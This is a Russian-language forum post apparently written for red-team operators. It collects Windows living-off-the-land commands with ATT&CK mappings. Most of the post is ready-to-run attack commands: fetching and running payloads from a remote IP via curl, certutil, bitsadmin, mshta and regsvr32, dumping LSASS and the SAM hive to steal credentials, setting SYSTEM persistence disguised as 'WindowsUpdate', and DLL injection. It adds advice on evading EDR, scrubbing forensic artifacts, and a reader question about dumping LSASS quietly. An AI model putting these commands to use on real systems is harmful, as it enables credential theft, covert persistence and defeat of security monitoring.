HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.04.2026, 14:25
Sergei webware
Участник форума
Регистрация: 04.03.2015
Сообщений: 126
С нами: 5890890

Репутация: 0
По умолчанию



Справочник для red team операторов и пентестеров, у которых EDR (CrowdStrike Falcon, Defender for Endpoint) прибил весь привычный инструментарий, а доступ к cmd/PowerShell от непривилегированного пользователя - есть. Windows 10/Server 2016+, AppLocker с дефолтными правилами. Знакомая ситуация?

Суть простая: зачем тащить на хост что-то своё, если в самой винде лежит полный набор для загрузки, выполнения и закрепления? Microsoft сама положила всё нужное - мы просто пользуемся - полную карту техник с разбором обхода EDR и пост-эксплуатации собрал в руководстве по living off the land атакам Windows.

Где не сработает: системы с WDAC в enforce-режиме с кастомными политиками - часть техник не пройдёт. На Server Core без GUI
Код:
mshta
и
Код:
hh.exe
банально отсутствуют - проверяй перед тем, как строить цепочку.

Все команды - из официального проекта LOLBAS. ATT&CK-маппинг указан для каждой техники.
Основные команды

КомандаФлаги / параметрыНазначение / ATT&CK
Код:
certutil.exe
Код:
-urlcache -split -f http://IP/file.exe C:\Temp\file.exe
Загрузка файла (wget-замена). T1105, T1564.004. Детектируется почти всеми EDR - в 2024+ это ловушка, а не инструмент
Код:
certutil.exe
Код:
-encode file.exe file.b64
/
Код:
-decode file.b64 file.exe
Base64 encode/decode пейлоада. T1027.013, T1140, T1564.004
Код:
bitsadmin.exe
Код:
/create job1 && bitsadmin /addfile job1 http://IP/f.exe C:\Temp\f.exe && bitsadmin /resume job1 && bitsadmin /complete job1
Фоновая загрузка через BITS. T1105, T1218, T1564.004. Работает даже при ограниченном outbound
Код:
mshta.exe
Код:
http://IP/payload.hta
Выполнение удалённого HTA (VBScript/JScript). T1218.005, T1105. Обходит AppLocker по умолчанию
Код:
regsvr32.exe
Код:
/s /n /u /i:http://IP/file.sct scrobj.dll
Squiblydoo - загрузка и выполнение SCT-скриптлета. T1218.010. Обход AppLocker
Код:
rundll32.exe
Код:
C:\windows\system32\comsvcs.dll, MiniDump  C:\Temp\lsass.dmp full
Дамп LSASS без Mimikatz. T1218.011, T1564.004; T1003.001 (credential access). Требует SeDebugPrivilege
Код:
msiexec.exe
Код:
/q /i http://IP/payload.msi
Тихая установка MSI с удалённого URL. T1218.007
Код:
wmic.exe
Код:
process call create "cmd /c whoami > C:\Temp\out.txt"
Выполнение команды через WMI. T1047. По LOLBAS: T1105, T1218, T1564.004
Код:
schtasks.exe
Код:
/create /tn "Update" /tr "cmd /c payload.exe" /sc onlogon /ru SYSTEM
Persistence через задачу планировщика. T1053.005
Код:
msbuild.exe
Код:
C:\Temp\payload.csproj
Компиляция и выполнение C# inline. T1127.001, T1036. Обход AppLocker
Код:
InstallUtil.exe
Код:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll
Выполнение .NET assembly через Uninstall-метод (payload с классом
Код:
[RunInstaller(true)]
, унаследованным от
Код:
Installer
). T1218.004, T1105. Обход AppLocker. Указывать полный путь к InstallUtil и DLL
Код:
forfiles.exe
Код:
/p C:\Windows\System32 /m notepad.exe /c "cmd /c payload.exe"
Proxy-запуск через forfiles. T1202, T1564.004. Обходит parent-process мониторинг
Код:
mavinject.exe
Код:
 /INJECTRUNNING payload.dll
DLL-инъекция в живой процесс. T1218.013. Использовался Mustang Panda (Earth Preta)
Код:
reg.exe
Код:
save HKLM\SAM C:\Temp\sam.bak
(+ SYSTEM, SECURITY)Дамп SAM/SYSTEM для офлайн-крека. T1003.002, T1564.004
Код:
findstr.exe
Код:
/S /I cpassword \\DC\SYSVOL\*.xml
Поиск GPP-паролей в SYSVOL. T1552.001, T1105, T1564.004
Код:
curl.exe
Код:
-o C:\Temp\file.exe http://IP/file.exe
Загрузка файла (Win10 1803+, нативный). T1105. EDR-правила на curl менее зрелые, чем на certutil

Частые сценарии
Загрузка пейлоада в обход детекта certutil

Код:
certutil -urlcache
в 2024+ - это как кричать «я здесь» в тихом офисе. Каждый уважающий себя EDR на это реагирует. Переключаемся на
Код:
curl.exe
(нативный с Win10 1803) или BITS.

Код:


Код:
curl.exe -s -o C:\Windows\Temp\update.exe http://192.168.1.100/beacon.exe
В логах появится
Код:
curl.exe
с сетевым соединением - куда менее сигнатурно. А BITS-вариант вообще работает через svchost - ещё тише. Я начинаю с curl, и только если его нет (старые билды) - иду в bitsadmin.
Дамп LSASS без Mimikatz (T1003.001)
Mimikatz заблокирован, а SeDebugPrivilege есть - классика. Используем comsvcs.dll через rundll32. Нужен elevated-контекст (High Integrity Level, не просто членство в Administrators - это частая ошибка).

Важный момент: MDE детектирует сигнатуру
Код:
rundll32 + comsvcs.dll + MiniDump
как
Код:
Behavior:Win32/LsassDump.A
ещё с 2022 года. Если на хосте MDE - этот трюк, скорее всего, уже не тихий. Для тихого дампа стоит посмотреть в сторону PPLFault или NanoDump.

Код:


Код:
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\lsass.dmp full
PID lsass получаем через
Код:
tasklist /fi "imagename eq lsass.exe"
. Дамп забираем офлайн и парсим Mimikatz/pypykatz локально - на хосте ничего не крутим.
Persistence через schtasks без PowerShell (T1053.005)
PowerShell заблокирован или логируется до последней запятой - чистая cmd-persistence.

Код:


Код:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f
Задача стартует от SYSTEM при логоне любого пользователя. Флаг
Код:
/f
перезаписывает существующую задачу без промпта. Имя «WindowsUpdate» - банально, но в реальном планировщике среди десятков задач теряется нормально.
Squiblydoo: обход AppLocker через regsvr32 (T1218.010)
AppLocker default rules покрывают EXE/DLL/Script/MSI, но COM-скриптлеты через scrobj.dll - мимо контроля. В этом и фокус Squiblydoo.



Код:


Код:
regsvr32.exe /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll
SCT-файл содержит JScript/VBScript. На диск ничего не пишет. Работает потому, что AppLocker script rules покрывают только .ps1/.vbs/.js/.cmd/.bat из файловой системы. SCT-скриптлеты, подгружаемые regsvr32 через scrobj.dll из URL, под этот контроль не попадают.

Но есть нюанс (и он существенный): в WDAC с включённым Script Enforcement этот bypass не пройдёт. И большинство современных EDR уже хорошо знают эту технику -
Код:
regsvr32
с URL в аргументах = high-confidence alert. Проверяй на стенде перед боевым применением.
Gotchas & подводные камни
Тут собраны грабли, на которые наступают регулярно. Некоторые - очевидные, но именно очевидные вещи забываются в 3 часа ночи на проекте.
  • Код:
    certutil -urlcache
    - детектируется практически всеми EDR в 2024+. Последний вариант, не первый. Или для сред вообще без EDR.
  • Код:
    rundll32
    + comsvcs MiniDump
    - требует
    Код:
    SeDebugPrivilege
    и elevated-контекст (High IL). Из non-elevated cmd даже у local admin - Access Denied. MDE детектирует как
    Код:
    Behavior:Win32/LsassDump.A
    .
  • Код:
    mshta.exe
    - отсутствует на Server Core и некоторых hardened-образах. Проверяй наличие до включения в цепочку, иначе вся атака рассыпается на первом шаге.
  • Код:
    wmic.exe
    - deprecated с Windows 10 21H1; на Windows 11 24H2+ и Server 2025 удалён из базовой поставки (доступен как Feature on Demand). На 22H2/23H2 ещё живой. На свежих системах проверяй через
    Код:
    wmic /?
    или используй
    Код:
    Invoke-CimMethod
    .
  • Код:
    mavinject.exe
    - целевой процесс должен уже работать (
    Код:
    /INJECTRUNNING
    ). Инъекция в PPL-процессы не пройдёт.
  • Код:
    schtasks /ru SYSTEM
    от непривилегированного пользователя - ошибка. Нужны права администратора.
  • Код:
    msbuild.exe
    - в новых версиях Windows логируется через ETW даже без Sysmon. Считай, что SOC это видит.
  • Код:
    bitsadmin
    - оставляет артефакты в
    Код:
    %ALLUSERSPROFILE%\Microsoft\Network\Downloader\
    . Чисти:
    Код:
    bitsadmin /list /allusers
    +
    Код:
    bitsadmin /cancel
    . Забудешь - форензик найдёт.
  • Код:
    findstr
    по SYSVOL
    - работает только если GPP-пароли не удалены (MS14-025). В современных AD - редкость. В legacy-средах (а их больше, чем хочется думать) - регулярно.
  • Код:
    regsvr32
    Squiblydoo
    - хорошо сигнатурирован. Любой
    Код:
    regsvr32
    с URL в аргументах = high-confidence alert в большинстве SIEM.
Quick-reference card

ЗадачаКомандаЗагрузка файла
Код:
curl.exe -o C:\Temp\f.exe http://IP/f.exe
Загрузка (альт.)
Код:
certutil -urlcache -split -f http://IP/f.exe C:\Temp\f.exe
Дамп LSASS
Код:
rundll32 comsvcs.dll, MiniDump  lsass.dmp full
Выполнение .NET (Uninstall bypass)
Код:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll
Persistence
Код:
schtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM /f
AppLocker bypass
Код:
regsvr32 /s /n /u /i:http://IP/f.sct scrobj.dll
GPP-пароли
Код:
findstr /S /I cpassword \\DC\SYSVOL\*.xml
DLL-инъекция
Код:
mavinject  /INJECTRUNNING payload.dll
Вопрос к читателям
При работе с
Код:
rundll32.exe comsvcs.dll, MiniDump
для дампа LSASS - какой процесс используете как «прокси» для снижения шума в EDR-телеметрии? Часть операторов инжектируется в
Код:
svchost.exe
перед вызовом, другие работают напрямую из cmd.

Меня интересует конкретика: на каком EDR (CrowdStrike, MDE, SentinelOne) и при каком уровне политики (
Код:
detect-only
vs
Код:
prevent
) удавалось пройти тихо с прямым вызовом rundll32 без предварительного инжекта? Какой parent process в цепочке оказался наименее триггерным?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.